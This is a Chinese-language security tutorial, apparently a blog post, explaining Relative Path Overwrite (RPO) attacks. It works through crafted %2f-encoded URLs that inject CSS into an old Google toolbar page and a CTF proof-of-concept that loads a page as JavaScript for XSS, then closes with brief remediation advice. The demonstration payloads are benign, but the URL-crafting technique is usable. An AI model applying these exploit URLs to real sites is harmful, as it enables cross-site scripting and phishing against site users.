注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言介绍
描述:说实在第一个看这个漏洞的时候是没挣明白的有点绕(大佬一眼应该就能观定),下面大致对PRO做一个介绍;
什么是RPO攻击?
RPO(Relative Path Overwrite
)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。
就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露
等漏洞产生。
网站是如何加载的?
- 根据程序员编写的代码从上到下进行执行
- HTML加载域CSS渲染JS脚本解析;
其中页面的加载和渲染都需要通过脚本执行
,并且在脚本执行过程中网站的加载暂时停止,等待脚本加载完成,特别是JavaScript和src引入JavaScript(会暂停直接进行解析并执行
,并且连续载入
两个JavaScript文件加载过程中会有一段时间的间隔,这段时间就是js代码执行的时间
)
0x01 RPO漏洞原理(principle)
原理:RPO漏洞相对路径覆盖并且源码中引用了相对路径css文件所导致的脆弱性漏洞,一般的可利用手段就是CSS攻击钓鱼和CSS-XSS 攻击。
本质:根据服务器解析与浏览器(客户端)解析URL之间的微小差异而产生的漏洞,
RPO漏洞攻击的条件:
- 可利用页面无DOCTYPE
- 标签中包含相对路径的CSS/js/swf文件
- 浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。
对于php而言它获得的请求是url解码后的%2F会被解码为/
, apache和nginx会按照目录的方式来返回我们请求的资源。
服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码则导致将%2f+后续的字符串 认为是一个文件;
脆弱性的演示Demo: http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html1
2
3
4
5#注意这里也并没有 标记;
<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" /> <!--- Href 关键点 --->
访问上面的网站
%2f = /
则服务器容器解析/apis/howto_guide.html
,而浏览器解析会将其看作是一个文件apis%2fhowto_guide.html
,其次CSS样式表的理解也是一个文件apis%2fhowto_guide.html
我们来还原一下正常的解析情况和采用
%2f
后的解析情况1
2
3
4
5
6
7
8#1.使用 / 的网站地址
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html # 实际服务器中的html文件名词howto_guide.html
http://www.google.com/tools/toolbar/style.css #此时的css样式表包含地址 (实际存在的)
#2.使用 %2f 的网站地址
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html #将apis%2fhowto_guide.html看作是一个文件,但是服务器却可以进行解析
http://www.google.com/tools/style.css #此时的css样式表包含地址(实际不存在)结果导致style.css不存在,所以无法加载css样式表,现在浏览器认为我们的目录是
/tools/toolbar/buttons/
而不是/tools/toolbar/buttons/apis
。
尝试创建个fake目录和..%2ftoolbar 网站地址如:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
1
2
3服务器理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html #因为fake和..%2ftoolbar目录不存在
浏览器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
css样式表:http://www.google.com/tools/fake/style.css添加了
fake 和..%2ftoolbar
虚假目录,浏览器认为fake和..%2ftoolbar都是目录
,因为他们中间都有/*/,而%2f被理解成了文件。经过实验证明,理论上我们可以css覆盖:
http://www.google.com/*/style.css
,但是我们再次往上层编码,发现这是不行的会出错。所以css覆盖止步于:http://www.google.com/tools/*/style.css
,我们需要在Tools目录下找寻可以被利用的点找寻利用点
http://www.google.com/tools/toolbar/buttons/gallery?q=1
会进行二次跳转跳转到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1
验证利用点准备尝试植入CSS
1
2
3http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}
#跳转
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red} #css代码成功植入,虽然他不在style样式表中。WeiyiGeek.
- 为什么只能使用接口而不能使用跳转链接进行攻击?
现在我们来利用它:1
2
3
4
5
6
7
8
9
10
11
12构造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
服务器理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html
浏览器理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/../../style.css #浏览器会认为目前在的目录是apis向上之后就到了下面的css样式表
css样式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css #访问之后会跳转到下面URL,然后进行二次跳转
/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css #最终样式表
#原始的未污染的样式表
<link href="../../styles.css" rel="stylesheet" type="text/css" />
#转变(#就把{}*{background:red}包含了)
<link href="/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css" rel="stylesheet" type="text/css" />WeiyiGeek.

WeiyiGeek.
0x02 漏洞利用案例
案例1.强网杯案例 WeiyiGeek.
描述: http://39.107.33.96:20000/index.php 调用了相对路径的js ,第一个是相对路径,第二个是绝对路径
- 我们创建一个包含js脚本的页面:
http://39.107.33.96:20000/index.php/view/article/3093
即alert(1)
;

WeiyiGeek.
构造xss利用点
1
2
3
4
5
6
7
8
9
10#POC:http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f/index.php
服务器端解析: http://39.107.33.96:20000/index.php #向上跳了三层,依旧返回index.php页面的内容,其中包含有js相对资源: static/js/jquery.min.js
浏览器端在渲染的时候无法url解码:http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
#所以 static/js/jquery.min.js 是接在目录 3093/后面,构成了
http://39.107.33.96:20000/index.php/view/article/3093/static/js/jquery.min.js
#然后在渲染的时候将该页面的内容作为js脚本来加载
http://39.107.33.96:20000/index.php/view/article/3093WeiyiGeek.
最终效果:

WeiyiGeek.
0x03 漏洞修复
- 建议在对js或者swf以及css或者其他页面包含的时候,在页面中避免直接使用相对路径进行静态文件的加载,尽量不要出现如”../../../xxxx.js”相对路径的调用;